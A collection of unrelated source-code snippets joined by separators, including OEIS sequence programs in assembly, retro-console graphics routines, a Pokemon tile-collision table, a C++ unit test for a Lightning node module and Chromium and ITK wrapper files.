EPILOGUE(mpn_mul_1c)
|
; void *w_vector_front_fastcall(w_vector_t *v)
SECTION code_clib
SECTION code_adt_w_vector
PUBLIC _w_vector_front_fastcall
EXTERN asm_w_vector_front
defc _w_vector_front_fastcall = asm_w_vector_front
|
; A187709: a(n) = (7*9^n + 1)/8.
; Submitted by Christian Krause
; 1,8,71,638,5741,51668,465011,4185098,37665881,338992928,3050936351,27458427158,247125844421,2224132599788,20017193398091,180154740582818,1621392665245361,14592533987208248,131332805884874231,1181995252963868078,10637957276674812701,95741615490073314308,861674539410659828771,7755070854695938458938,69795637692263446130441,628160739230371015173968,5653446653073339136565711,50881019877660052229091398,457929178898940470061822581,4121362610090464230556403228,37092263490814178075007629051
mov $1,9
pow $1,$0
mov $0,$1
div $0,8
mul $0,7
add $0,1
|
ShouldOverrideFileLoad:
; Y = Graphics file being loaded
CPY #$0A ; 0A = Ice/Mire floor file
BNE .no
LDA $040C ; Dungeon number
CMP #$12 ; Ice Palace
BEQ .yes
.no
CLC : RTS
.yes
SEC : RTS
BgGraphicsLoading:
; Instructions overwritten
STZ $00
STX $01
STA $02
JSR ShouldOverrideFileLoad
BCS .useSpecialIcePalaceFile
JML BgGraphicsLoadingResume
.useSpecialIcePalaceFile
; We're loading the floor tiles in Ice Palace. Instead of the normal file,
; load another one that replaces the bridge tiles with the Bombos medallion
LDA $FFFFFF
LDA.b #IcePalaceFloorGfx>>16
STA $02
REP #$20
LDA.w #IcePalaceFloorGfx
STA $00
LDX.b #64*2 ; Tiles to load * 2
-
; Unrolled loop to upload half a tile
LDA [$00] : STA $2118 : INC $00 : INC $00
LDA [$00] : STA $2118 : INC $00 : INC $00
LDA [$00] : STA $2118 : INC $00 : INC $00
LDA [$00] : STA $2118 : INC $00 : INC $00
LDA [$00] : STA $2118 : INC $00 : INC $00
LDA [$00] : STA $2118 : INC $00 : INC $00
LDA [$00] : STA $2118 : INC $00 : INC $00
LDA [$00] : STA $2118 : INC $00 : INC $00
DEX
BNE -
SEP #$20
JML BgGraphicsLoadingCancel
ReloadingFloors:
SEP #$30 ; 8 AXY
LDA $7EC2F8 ; Floor file that has been decompressed
TAY
JSR ShouldOverrideFileLoad
REP #$30 ; 16 AXY
BCS .replaceWithSpecialIcePalaceFile
; Instructions overwritten by hook
LDX.w #$0000
LDY.w #$0040
JML ReloadingFloorsResume
.replaceWithSpecialIcePalaceFile
; Block move our hardcoded graphics into the output buffer
LDX.w #IcePalaceFloorGfx ; Source
LDY.w #$0000 ; Target
LDA.w #$0800 ; Length
PHB
;MVN $7F, IcePalaceFloorGfx>>16
MVN $517F ; CHANGE THIS IF YOU MOVE THE GRAPHICS FILE - kkat
PLB
; Pretend that we ran the original routine
LDX.w #$0800
LDA.w #$6600
STA $03
JML ReloadingFloorsCancel
|
; *********************************************************************************
; *********************************************************************************
;
; File: screen_layer2.asm
; Purpose: Layer 2 console interface, sprites enabled, no shadow.
; Date : 27th December 2018
; Author: paul@robsons.org.uk
;
; *********************************************************************************
; *********************************************************************************
; *********************************************************************************
;
; Clear Layer 2 Display.
;
; *********************************************************************************
GFXInitialise:
push af
push bc
push de
db $ED,$91,$15,$3 ; Disable LowRes but enable Sprites
ld e,2 ; 3 banks to erase
L2PClear:
ld a,e ; put bank number in bits 6/7
rrc a
rrc a
or 2+1 ; shadow on, visible, enable write paging
ld bc,$123B ; out to layer 2 port
out (c),a
ld hl,$4000 ; erase the bank to $00
ld d,l ; D = 0, slightly quicker.
L2PClearBank: ; assume default palette :)
dec hl
ld (hl),d
ld a,h
or l
jr nz,L2PClearBank
dec e
jp p,L2PClear
xor a
out ($FE),a
pop de
pop bc
pop af
ld hl,$1820 ; still 32 x 24
ret
;
; Print Character E, colour D, position HL
;
GFXCharacterHandler:
push af
push bc
push de
push hl
push ix
ld b,e ; save A temporarily
ld a,b
ld a,h
cp 3
jr nc,__L2Exit ; check position in range
ld a,b
push af
xor a ; convert colour in C to palette index
bit 0,d ; (assumes standard palette)
jr z,__L2Not1
or $03
__L2Not1:
bit 2,d
jr z,__L2Not2
or $1C
__L2Not2:
bit 1,d
jr z,__L2Not3
or $C0
__L2Not3:
ld c,a ; C is foreground
pop af ; restore char
call GFXGetFontGraphicDE ; font offset in DE
push de ; transfer to IX
pop ix
;
; figure out the correct bank.
;
push bc
ld a,h ; this is the page number.
rrc a
rrc a
and $C0 ; in bits 6 & 7
or $03 ; shadow on, visible, enable write pagin.
ld bc,$123B ; out to layer 2 port
out (c),a
pop bc
;
; now figure out position in bank
;
ex de,hl
ld l,e
ld h,0
add hl,hl
add hl,hl
add hl,hl
sla h
sla h
sla h
ld e,8 ; do 8 rows
__L2Outer:
push hl ; save start
ld d,8 ; do 8 columns
ld a,(ix+0) ; get the bit pattern
inc ix
or a
jr z,__L2Blank
__L2Loop:
ld (hl),0 ; background
add a,a ; shift pattern left
jr nc,__L2NotSet
ld (hl),c ; if MSB was set, overwrite with fgr
__L2NotSet:
inc hl
dec d ; do a row
jr nz, __L2Loop
jr __L2Exit1
__L2Blank:
xor a
ld (hl),a
inc hl
ld (hl),a
inc hl
ld (hl),a
inc hl
ld (hl),a
inc hl
ld (hl),a
inc hl
ld (hl),a
inc hl
ld (hl),a
inc hl
ld (hl),a
__L2Exit1:
pop hl ; restore, go 256 bytes down.
inc h
dec e ; do 8 rows
jr nz,__L2Outer
__L2Exit:
pop ix
pop hl
pop de
pop bc
pop af
ret
|
#include "gtest/gtest.h"
#include <string.h>
#include "tests/fff.h"
DEFINE_FFF_GLOBALS;
extern "C" {
#include "../../utl/utl_thread.c"
#undef LOG_TAG
#include "../../utl/utl_log.c"
#include "../../utl/utl_dbg.c"
#include "../../utl/utl_buf.c"
#include "../../utl/utl_push.c"
#include "../../utl/utl_addr.c"
#include "../../utl/utl_time.c"
#include "../../utl/utl_int.c"
#include "../../utl/utl_mem.c"
#include "../../utl/utl_str.c"
//評価対象本体
#undef LOG_TAG
#include "lnapp.c"
#include "lnapp_cb.c"
#include "lnapp_util.c"
}
////////////////////////////////////////////////////////////////////////
//FAKE関数
FAKE_VOID_FUNC(ln_node_term);
FAKE_VALUE_FUNC(const uint8_t *,ln_remote_node_id, const ln_channel_t *);
FAKE_VALUE_FUNC(uint64_t, ln_short_channel_id, const ln_channel_t *);
FAKE_VALUE_FUNC(const char *, ln_msg_name, uint16_t );
FAKE_VALUE_FUNC(bool, ln_noise_enc, ln_noise_t *, utl_buf_t *, const utl_buf_t *);
FAKE_VALUE_FUNC(bool, ln_get_ids_cnl_anno, uint64_t *, uint8_t *, uint8_t *, const uint8_t *, uint16_t );
FAKE_VOID_FUNC(ln_short_channel_id_get_param, uint32_t *, uint32_t *, uint32_t *, uint64_t );
FAKE_VOID_FUNC(ln_short_channel_id_string, char *, uint64_t );
FAKE_VALUE_FUNC(bool, ln_db_channel_owned_check, uint64_t);
FAKE_VALUE_FUNC(bool, ln_db_cnlupd_need_to_prune, uint64_t , uint32_t );
FAKE_VALUE_FUNC(bool, ln_db_cnlanno_info_search_node_id, void *, uint64_t , char , const uint8_t *);
FAKE_VALUE_FUNC(bool, ln_db_cnlanno_info_add_node_id, void *, uint64_t , char , bool , const uint8_t *);
FAKE_VALUE_FUNC(bool, ln_db_nodeanno_cur_load, void *, utl_buf_t *, uint32_t *, const uint8_t *);
FAKE_VALUE_FUNC(bool, ln_db_nodeanno_info_search_node_id, void *, const uint8_t *, const uint8_t *);
FAKE_VALUE_FUNC(bool, ln_db_nodeanno_info_add_node_id, void *, const uint8_t *, bool , const uint8_t *);
FAKE_VALUE_FUNC(bool, ln_db_cnlanno_cur_get, void *, uint64_t *, char *, uint32_t *, utl_buf_t *);
FAKE_VALUE_FUNC(bool, ln_db_cnlanno_cur_back, void *);
FAKE_VALUE_FUNC(bool, ln_db_cnlanno_cur_del, void *);
FAKE_VALUE_FUNC(bool, ln_db_anno_transaction);
FAKE_VOID_FUNC(ln_db_anno_commit, bool);
FAKE_VALUE_FUNC(bool, ln_db_anno_cur_open, void **, ln_db_cur_t );
FAKE_VOID_FUNC(ln_db_anno_cur_close, void *);
FAKE_VALUE_FUNC(bool, ln_db_cnlanno_del, uint64_t );
FAKE_VALUE_FUNC(bool, btcrpc_gettxid_from_short_channel, uint8_t *, int , int );
FAKE_VALUE_FUNC(bool, btcrpc_check_unspent, const uint8_t *, bool *, uint64_t *, const uint8_t *, uint32_t );
////////////////////////////////////////////////////////////////////////
namespace dummy {
const char *ln_msg_name(uint16_t Type) {
return "";
}
bool ln_db_nodeanno_cur_load(void *pCur, utl_buf_t *pNodeAnno, uint32_t *pTimeStamp, const uint8_t *pNodeId) {
pNodeAnno->len = sizeof(uint16_t);
pNodeAnno->buf = (uint8_t *)UTL_DBG_MALLOC(pNodeAnno->len);
memset(pNodeAnno->buf, 0, pNodeAnno->len);
return true;
}
}
////////////////////////////////////////////////////////////////////////
class lnapp: public testing::Test {
protected:
virtual void SetUp() {
//utl_log_init_stderr();
utl_dbg_malloc_cnt_reset();
RESET_FAKE(ln_node_term);
RESET_FAKE(ln_remote_node_id);
RESET_FAKE(ln_short_channel_id);
RESET_FAKE(ln_msg_name);
RESET_FAKE(ln_noise_enc);
RESET_FAKE(ln_get_ids_cnl_anno);
RESET_FAKE(ln_db_channel_owned_check);
RESET_FAKE(ln_db_cnlupd_need_to_prune);
RESET_FAKE(ln_db_cnlanno_info_search_node_id);
RESET_FAKE(ln_db_cnlanno_info_add_node_id);
RESET_FAKE(ln_db_nodeanno_cur_load);
RESET_FAKE(ln_db_nodeanno_info_search_node_id);
RESET_FAKE(ln_db_nodeanno_info_add_node_id);
RESET_FAKE(ln_db_cnlanno_cur_get);
RESET_FAKE(ln_db_cnlanno_cur_back);
RESET_FAKE(ln_db_cnlanno_cur_del);
ln_msg_name_fake.custom_fake = dummy::ln_msg_name;
ln_noise_enc_fake.return_val = false;
ln_db_nodeanno_cur_load_fake.custom_fake = dummy::ln_db_nodeanno_cur_load;
}
virtual void TearDown() {
ln_node_term();
ASSERT_EQ(0, utl_dbg_malloc_cnt());
}
public:
static void DumpBin(const uint8_t *pData, uint16_t Len)
{
for (uint16_t lp = 0; lp < Len; lp++) {
printf("%02x", pData[lp]);
}
printf("\n");
}
static bool DumpCheck(const void *pData, uint32_t Len, uint8_t Fill)
{
bool ret = true;
const uint8_t *p = (const uint8_t *)pData;
for (uint32_t lp = 0; lp < Len; lp++) {
if (p[lp] != Fill) {
ret = false;
break;
}
}
return ret;
}
};
////////////////////////////////////////////////////////////////////////
TEST_F(lnapp, prev_check_ok1)
{
ln_db_channel_owned_check_fake.return_val = true;
bool ret = anno_prev_check(0, 0);
ASSERT_TRUE(ret);
}
TEST_F(lnapp, prev_check_ok2)
{
ln_db_channel_owned_check_fake.return_val = false;
ln_db_cnlupd_need_to_prune_fake.return_val = false;
bool ret = anno_prev_check(0, 0);
ASSERT_TRUE(ret);
}
TEST_F(lnapp, prev_check_ng)
{
ln_db_channel_owned_check_fake.return_val = false;
ln_db_cnlupd_need_to_prune_fake.return_val = true;
bool ret = anno_prev_check(0, 0);
ASSERT_FALSE(ret);
}
TEST_F(lnapp, send_cnl_ok1)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
ln_db_cnlanno_info_search_node_id_fake.return_val = true;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata_cnl(&conf, &push, 0, 0, NULL, NULL);
ASSERT_TRUE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_cnl_ok2)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_db_cnlanno_info_search_node_id_fake.return_val = false;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata_cnl(&conf, &push, 0, 0, NULL, &buf);
ASSERT_TRUE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_node_ok1)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_get_ids_cnl_anno_fake.return_val = true;
bool seq[] = { true, true };
ln_db_nodeanno_info_search_node_id_fake.return_val_seq = seq;
ln_db_nodeanno_info_search_node_id_fake.return_val_seq_len = ARRAY_SIZE(seq);
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata_node(&conf, &push, 0, 0, &buf);
ASSERT_TRUE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_node_ok2)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_get_ids_cnl_anno_fake.return_val = true;
bool seq[] = { true, false };
ln_db_nodeanno_info_search_node_id_fake.return_val_seq = seq;
ln_db_nodeanno_info_search_node_id_fake.return_val_seq_len = ARRAY_SIZE(seq);
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata_node(&conf, &push, 0, 0, &buf);
ASSERT_TRUE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_node_ng)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_get_ids_cnl_anno_fake.return_val = false;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata_node(&conf, &push, 0, 0, &buf);
ASSERT_FALSE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_ok1)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_db_channel_owned_check_fake.return_val = true;
struct local {
static bool ln_db_cnlanno_cur_get(void *pCur, uint64_t *pShortChannelId, char *pType, uint32_t *pTimeStamp, utl_buf_t *pBuf) {
*pShortChannelId = 0;
*pType = (char)(LN_DB_CNLANNO_UPD0 + ln_db_cnlanno_cur_get_fake.call_count - 1);
pBuf->len = sizeof(uint16_t);
pBuf->buf = (uint8_t *)UTL_DBG_MALLOC(pBuf->len);
memset(pBuf->buf, 0, pBuf->len);
return true;
}
};
ln_db_cnlanno_cur_get_fake.custom_fake = local::ln_db_cnlanno_cur_get;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata(&conf, &push, 0, &buf, NULL, NULL, NULL, NULL);
ASSERT_TRUE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_ok2)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_db_channel_owned_check_fake.return_val = true;
struct local {
static bool ln_db_cnlanno_cur_get(void *pCur, uint64_t *pShortChannelId, char *pType, uint32_t *pTimeStamp, utl_buf_t *pBuf) {
if (ln_db_cnlanno_cur_get_fake.call_count == 1) {
//skip B
*pShortChannelId = 0;
*pType = (char)(LN_DB_CNLANNO_UPD0 + ln_db_cnlanno_cur_get_fake.call_count - 1);
pBuf->len = sizeof(uint16_t);
pBuf->buf = (uint8_t *)UTL_DBG_MALLOC(pBuf->len);
memset(pBuf->buf, 0, pBuf->len);
return true;
} else {
return false;
}
}
};
ln_db_cnlanno_cur_get_fake.custom_fake = local::ln_db_cnlanno_cur_get;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata(&conf, &push, 0, &buf, NULL, NULL, NULL, NULL);
ASSERT_TRUE(ret);
utl_buf_free(&buf2);
}
//最初のln_db_cnlanno_cur_get()で失敗した場合は、channel_update無しと同じ
// TEST_F(lnapp, send_ok3)
// {
// lnapp_conf_t conf;
// memset(&conf, 0, sizeof(conf));
// uint16_t msg = 0;
// utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
// ln_db_channel_owned_check_fake.return_val = true;
// struct local {
// static bool ln_db_cnlanno_cur_get(void *pCur, uint64_t *pShortChannelId, char *pType, uint32_t *pTimeStamp, utl_buf_t *pBuf) {
// if (ln_db_cnlanno_cur_get_fake.call_count == 2) {
// //skip B
// *pShortChannelId = 0;
// *pType = (char)(LN_DB_CNLANNO_UPD0 + ln_db_cnlanno_cur_get_fake.call_count - 1);
// pBuf->len = sizeof(uint16_t);
// pBuf->buf = (uint8_t *)UTL_DBG_MALLOC(pBuf->len);
// memset(pBuf->buf, 0, pBuf->len);
// return true;
// } else {
// return false;
// }
// }
// };
// ln_db_cnlanno_cur_get_fake.custom_fake = local::ln_db_cnlanno_cur_get;
// utl_buf_t buf2 = UTL_BUF_INIT;
// utl_push_t push;
// utl_push_init(&push, &buf2, 0);
// bool ret = anno_senddata(&conf, &push, 0, &buf, NULL, NULL, NULL, NULL);
// ASSERT_TRUE(ret);
// utl_buf_free(&buf2);
// }
TEST_F(lnapp, send_ng1)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_db_channel_owned_check_fake.return_val = true;
struct local {
static bool ln_db_cnlanno_cur_get(void *pCur, uint64_t *pShortChannelId, char *pType, uint32_t *pTimeStamp, utl_buf_t *pBuf) {
//no channel_update
return false;
}
};
ln_db_cnlanno_cur_get_fake.custom_fake = local::ln_db_cnlanno_cur_get;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata(&conf, &push, 0, &buf, NULL, NULL, NULL, NULL);
ASSERT_FALSE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_ng2)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_db_channel_owned_check_fake.return_val = true;
struct local {
static bool ln_db_cnlanno_cur_get(void *pCur, uint64_t *pShortChannelId, char *pType, uint32_t *pTimeStamp, utl_buf_t *pBuf) {
//different short_channel_id
*pShortChannelId = 1;
*pType = (char)(LN_DB_CNLANNO_UPD0 + ln_db_cnlanno_cur_get_fake.call_count - 1);
pBuf->len = sizeof(uint16_t);
pBuf->buf = (uint8_t *)UTL_DBG_MALLOC(pBuf->len);
memset(pBuf->buf, 0, pBuf->len);
return true;
}
};
ln_db_cnlanno_cur_get_fake.custom_fake = local::ln_db_cnlanno_cur_get;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata(&conf, &push, 0, &buf, NULL, NULL, NULL, NULL);
ASSERT_FALSE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_ng3)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
ln_db_channel_owned_check_fake.return_val = true;
struct local {
static bool ln_db_cnlanno_cur_get(void *pCur, uint64_t *pShortChannelId, char *pType, uint32_t *pTimeStamp, utl_buf_t *pBuf) {
//not channel_update
*pShortChannelId = 0;
*pType = LN_DB_CNLANNO_ANNO;
pBuf->len = sizeof(uint16_t);
pBuf->buf = (uint8_t *)UTL_DBG_MALLOC(pBuf->len);
memset(pBuf->buf, 0, pBuf->len);
return true;
}
};
ln_db_cnlanno_cur_get_fake.custom_fake = local::ln_db_cnlanno_cur_get;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata(&conf, &push, 0, &buf, NULL, NULL, NULL, NULL);
ASSERT_FALSE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, send_ng4)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
uint16_t msg = 0;
utl_buf_t buf = { (uint8_t *)&msg, sizeof(msg) };
//fail anno_prev_check()
ln_db_channel_owned_check_fake.return_val = false;
struct local {
static bool ln_db_cnlanno_cur_get(void *pCur, uint64_t *pShortChannelId, char *pType, uint32_t *pTimeStamp, utl_buf_t *pBuf) {
*pShortChannelId = 0;
*pType = (char)(LN_DB_CNLANNO_UPD0 + ln_db_cnlanno_cur_get_fake.call_count - 1);
pBuf->len = sizeof(uint16_t);
pBuf->buf = (uint8_t *)UTL_DBG_MALLOC(pBuf->len);
memset(pBuf->buf, 0, pBuf->len);
return true;
}
};
ln_db_cnlanno_cur_get_fake.custom_fake = local::ln_db_cnlanno_cur_get;
utl_buf_t buf2 = UTL_BUF_INIT;
utl_push_t push;
utl_push_init(&push, &buf2, 0);
bool ret = anno_senddata(&conf, &push, 0, &buf, NULL, NULL, NULL, NULL);
ASSERT_TRUE(ret);
utl_buf_free(&buf2);
}
TEST_F(lnapp, proc_ok1)
{
lnapp_conf_t conf;
memset(&conf, 0, sizeof(conf));
conf.active = true;
ln_db_anno_transaction_fake.return_val = true;
ln_db_anno_cur_open_fake.return_val = true;
ln_db_cnlanno_del_fake.return_val = true;
btcrpc_gettxid_from_short_channel_fake.return_val = true;
btcrpc_check_unspent_fake.return_val = true;
ln_db_channel_owned_check_fake.return_val = true;
struct local {
static bool ln_db_cnlanno_cur_get(void *pCur, uint64_t *pShortChannelId, char *pType, uint32_t *pTimeStamp, utl_buf_t *pBuf) {
switch (ln_db_cnlanno_cur_get_fake.call_count) {
case 1:
//channel_announcement
*pType = LN_DB_CNLANNO_ANNO;
break;
case 2:
//channel_update dir=0
*pType = LN_DB_CNLANNO_UPD0;
break;
case 3:
//channel_update dir=1
*pType = LN_DB_CNLANNO_UPD1;
break;
default:
return false;
}
*pShortChannelId = 0;
pBuf->len = sizeof(uint16_t);
pBuf->buf = (uint8_t *)UTL_DBG_MALLOC(pBuf->len);
memset(pBuf->buf, 0, pBuf->len);
return true;
}
};
ln_db_cnlanno_cur_get_fake.custom_fake = local::ln_db_cnlanno_cur_get;
bool ret = anno_proc(&conf);
ASSERT_TRUE(ret);
}
|
//Include all the files that SWIG needs to generate an extension
#include <string>
using namespace std;
class MgObject;
class MgByteReader;
#include "CommonDefs.h"
//#include "Util.h"
#include "SQLitePhpApi_wrap.cpp"
|
; A141609: a(n)=(a(n - 1)*a(n - 2) + a(n - 1)^2)/a(n - 3).
; Submitted by Jon Maiga
; 1,1,1,2,6,48,1296,290304,1763596800,2400297571123200,19846204885558066176000000,223334408639880528216369404299444224000000,20780031060559302184531906881808103844643569442380668928000000000000
mov $1,1
mov $2,1
mov $4,1
lpb $0
sub $0,1
mul $1,$4
mov $3,$2
mul $2,$4
add $2,$4
mov $4,$3
lpe
mov $0,$1
|
; A232584: Number of (n+1)X(3+1) 0..2 arrays with every element next to itself plus and minus one within the range 0..2 horizontally or antidiagonally, with no adjacent elements equal
; 2,12,42,122,332,882,2322,6092,15962,41802,109452,286562,750242,1964172,5142282,13462682,35245772,92274642,241578162,632459852,1655801402,4334944362,11349031692,29712150722,77787420482,203650110732,533162911722,1395838624442,3654352961612,9567220260402,25047307819602,65574703198412,171676801775642,449455702128522,1176690304609932,3080615211701282,8065155330493922,21114850779780492,55279397008847562,144723340246762202,378890623731439052,991948530947554962,2596954969111225842,6798916376386122572,17799794160047141882,46600466103755303082,122001604151218767372,319404346349900999042,836211434898484229762,2189229958345551690252,5731478440138170841002,15005205362068960832762,39284137646068711657292,102847207576137174139122,269257485082342810760082,704925247670891258141132,1845518257930330963663322,4831629526120101632848842,12649370320429973934883212,33116481435169820171800802,86700073985079486580519202,226983740520068639569756812,594251147575126432128751242,1555769702205310656816496922,4073057959040805538320739532,10663404174917105958145721682,27917154565710512336116425522,73088059522214431050203554892,191347024000932780814494239162,500953012480583911393279162602,1311512013440818953365343248652,3433583027841872948702750583362,8989237070084799892742908501442,23534128182412526729525974920972,61613147477152780295835016261482,161305314249045814157979073863482,422302795269984662178102205328972,1105603071560908172376327542123442,2894506419412739854950880421041362,7577916186677311392476313721000652,19839242140619194322478060741960602,51939810235180271574957868504881162,135980188564921620402395544772682892,356000755459584589632228765813167522,932022077813832148494290752666819682
mov $1,5
lpb $0
sub $0,1
add $2,$1
add $1,$2
lpe
sub $1,4
mul $1,2
mov $0,$1
|
/*=========================================================================
Program: Insight Segmentation & Registration Toolkit
Module: wrap_itkAzimuthElevationToCartesianTransform.cxx
Language: C++
Date: $Date$
Version: $Revision$
Copyright (c) Insight Software Consortium. All rights reserved.
See ITKCopyright.txt or http://www.itk.org/HTML/Copyright.htm for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notices for more information.
=========================================================================*/
#include "itkAzimuthElevationToCartesianTransform.h"
#ifdef CABLE_CONFIGURATION
#include "itkCSwigMacros.h"
#define ITK_WRAP_TRANSFORM_2(x, d1) \
ITK_WRAP_OBJECT2(x, double, d1, itk##x##d1)
namespace _cable_
{
const char* const group = ITK_WRAP_GROUP(itkAzimuthElevationToCartesianTransform);
namespace wrappers
{
ITK_WRAP_TRANSFORM_2(AzimuthElevationToCartesianTransform, 2);
ITK_WRAP_TRANSFORM_2(AzimuthElevationToCartesianTransform, 3);
}
}
#endif
|
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/chromeos/printer_detector/printer_detector_factory.h"
#include "chrome/browser/chromeos/printer_detector/printer_detector.h"
#include "chrome/browser/profiles/profile.h"
#include "components/keyed_service/content/browser_context_dependency_manager.h"
#include "extensions/browser/extensions_browser_client.h"
namespace chromeos {
namespace {
static base::LazyInstance<PrinterDetectorFactory> g_factory =
LAZY_INSTANCE_INITIALIZER;
} // namespace
// static
PrinterDetectorFactory* PrinterDetectorFactory::GetInstance() {
return g_factory.Pointer();
}
PrinterDetector* PrinterDetectorFactory::Get(content::BrowserContext* context) {
return static_cast<PrinterDetector*>(
GetServiceForBrowserContext(context, false));
}
PrinterDetectorFactory::PrinterDetectorFactory()
: BrowserContextKeyedServiceFactory(
"PrinterDetectorFactory",
BrowserContextDependencyManager::GetInstance()) {
DependsOn(
extensions::ExtensionsBrowserClient::Get()->GetExtensionSystemFactory());
}
PrinterDetectorFactory::~PrinterDetectorFactory() {
}
KeyedService* PrinterDetectorFactory::BuildServiceInstanceFor(
content::BrowserContext* context) const {
return new PrinterDetector(Profile::FromBrowserContext(context));
}
bool PrinterDetectorFactory::ServiceIsCreatedWithBrowserContext() const {
return true;
}
bool PrinterDetectorFactory::ServiceIsNULLWhileTesting() const {
return true;
}
} // namespace chromeos
|
; A112557: Smallest number of stones in Tchoukaillon (or Mancala, or Kalahari) solitaire which make use of (2*n-1)-th hole for n>=1; a bisection of A002491.
; 1,4,10,18,30,42,58,78,102,118,150,174,210,240,274,322,360,402,442,498,540,612,648,718,780,840,918,990,1054,1122,1200,1278,1392,1428,1548,1632,1714,1834,1882,2040,2118,2242,2314,2434,2580,2662,2760,2922,3054
mov $1,1
mov $2,$0
mov $3,3
lpb $2,1
mov $4,$1
lpb $4,1
add $0,1
trn $4,$3
lpe
mov $1,$0
add $1,2
sub $2,1
mov $3,$2
lpe
|
tilecoll 01, 01, 01, 01 ; 00
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 02
tilecoll TALL_GRASS, TALL_GRASS, TALL_GRASS, TALL_GRASS ; 03
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 04
tilecoll WALL, WALL, WALL, WALL ; 05
tilecoll LADDER, LADDER, LADDER, LADDER ; 06
tilecoll WHIRLPOOL, BUOY, WATER, BUOY ; 07
tilecoll WALL, WALL, WALL, WALL ; 08
tilecoll WALL, WALL, WALL, WALL ; 09
tilecoll WALL, WALL, WALL, WALL ; 0a
tilecoll WARP_CARPET_LEFT, FLOOR, WARP_CARPET_LEFT, FLOOR ; 0b
tilecoll FLOOR, FLOOR, WALL, WARP_CARPET_DOWN ; 0c
tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WALL ; 0d
tilecoll FLOOR, WARP_CARPET_RIGHT, FLOOR, WARP_CARPET_RIGHT ; 0e
tilecoll WALL, WALL, WALL, WALL ; 0f
tilecoll WALL, WALL, WALL, WALL ; 10
tilecoll WALL, WALL, WALL, WALL ; 11
tilecoll WALL, WALL, WALL, WALL ; 12
tilecoll WALL, WALL, WALL, WALL ; 13
tilecoll WALL, WALL, WALL, DOOR ; 14
tilecoll WALL, WALL, WALL, WALL ; 15
tilecoll WALL, WALL, WALL, DOOR ; 16
tilecoll WALL, WALL, WALL, WALL ; 17
tilecoll WALL, WALL, WALL, WALL ; 18
tilecoll WALL, WALL, WALL, WALL ; 19
tilecoll WALL, WALL, WALL, DOOR ; 1a
tilecoll WALL, WALL, WALL, WALL ; 1b
tilecoll WALL, WALL, WALL, WALL ; 1c
tilecoll WALL, WALL, DOOR, WALL ; 1d
tilecoll WALL, WALL, WALL, WALL ; 1e
tilecoll WALL, WALL, WALL, WALL ; 1f
tilecoll WALL, WALL, WALL, WALL ; 20
tilecoll WALL, WALL, WALL, WALL ; 21
tilecoll WALL, WALL, WALL, WALL ; 22
tilecoll WALL, WALL, WALL, WALL ; 23
tilecoll WALL, WALL, WALL, WALL ; 24
tilecoll WALL, WALL, WALL, WALL ; 25
tilecoll WALL, WALL, WALL, WALL ; 26
